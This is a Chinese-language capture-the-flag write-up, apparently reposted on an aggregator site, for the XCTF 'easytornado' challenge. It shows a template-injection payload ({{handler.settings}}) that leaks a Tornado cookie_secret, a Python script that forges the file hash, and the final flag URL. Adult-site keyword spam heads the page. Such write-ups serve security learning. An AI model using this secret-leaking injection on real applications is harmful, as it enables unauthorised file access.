日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF-Web-高手区-easytornado

發布時間:2023/12/31 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF-Web-高手区-easytornado 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

題目

解題

1、訪問url


點進去看看


2、直接訪問/fllllllllllllag文件


發現報錯了,但我們發現URL中的Error是我們返回的Error,那么我們再來測試一下


發現可能存在SSTI漏洞,但被過濾了部分參數,所以不能使用

3、這里再回到題目信息easytornado,可以判斷出可能是一個python的tornado漏洞

因為我沒學過python的框架,就不詳細解析了,只寫payload
這里我們要訪問/fllllllllllllag文件,并且還要filehash正確,那么我們目前的問題就是獲取fllllllllllllag所對應的filehash的值
再由hints.txt可以可以看出,filehash的計算公式如下

md5(cookie_secret+md5(filename))

那么如何獲取cookie_secret呢?我們這邊直接上payload

http://111.200.241.244:51903/error?msg={{handler.settings}}


這時我們要訪問的url是

http://111.200.241.244:51903/file?filename=/fllllllllllllag&filehash=md5(c3169c94-9dde-4d74-ab37-4300ced3cc8c+md5(/fllllllllllllag))

此時我們來計算filehash

# -*- coding: UTF-8 -*- import hashlibresult = hashlib.md5() result.update('/fllllllllllllag'.encode('utf-8')) filename_md5 = result.hexdigest() result = hashlib.md5() result.update(('c3169c94-9dde-4d74-ab37-4300ced3cc8c' + filename_md5).encode('utf-8')) print(result.hexdigest())

最終payload

http://111.200.241.244:51903/file?filename=/fllllllllllllag&filehash=0b2258f726a9bd96f61d7c3eef39ca0f

總結

以上是生活随笔為你收集整理的XCTF-Web-高手区-easytornado的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。